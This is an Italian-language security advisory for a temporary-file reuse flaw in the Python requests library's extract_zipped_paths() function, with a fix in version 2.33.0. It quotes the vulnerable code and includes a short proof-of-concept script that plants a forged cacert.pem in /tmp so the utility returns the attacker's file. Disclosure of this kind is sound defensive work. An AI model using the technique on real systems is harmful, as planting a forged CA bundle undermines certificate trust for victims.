
Riutilizzo insicuro di file temporanei in extract_zipped_paths()
È stata identificata una vulnerabilità nella libreria requests (Python) all'interno della funzione di utilità pubblica requests.utils.extract_zipped_paths(). La funzione utilizza un nome file prevedibile e non univoco quando tenta di estrarre file nella directory temporanea di sistema (/tmp) e non verifica l'integrità o la proprietà dei file preesistenti.
Sebbene il comportamento predefinito di requests combinato con certifi sia mitigato da importlib.resources, questa utilità rimane un pericolo per la sicurezza per le applicazioni a valle o le implementazioni personalizzate che si affidano ad essa per gestire risorse zippate.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:NLa funzione requests.utils.extract_zipped_paths() è progettata per estrarre membri da un archivio zip (spesso utilizzato per i bundle CA in ambienti zipapp). La logica vulnerabile segue questi passaggi:
basename del membro dello zip (ad esempio, /tmp/cacert.pem).if not os.path.exists(extracted_path) per decidere se estrarre il file.In requests/utils.py, la logica è implementata come segue:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
Un attaccante locale con privilegi bassi può sfruttare questa vulnerabilità pre-creando un file malevolo (ad esempio, un bundle CA falsificato) nel percorso prevedibile in /tmp. Quando una vittima (è richiesta l'interazione dell'utente) esegue un'applicazione che invoca questa utilità:
Il seguente script dimostra la vulnerabilità mostrando come l'utilità riutilizzi un file "falso" preesistente invece di quello legittimo presente nell'archivio.
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
Il problema è risolto nella versione 2.33.0. La correzione prevede la transizione a importlib.resources per gestire le risorse zippate in modo più sicuro, garantendo che le estrazioni avvengano in directory randomizzate e non prevedibili ed evitando il riutilizzo di file esistenti in directory condivise scrivibili da tutti.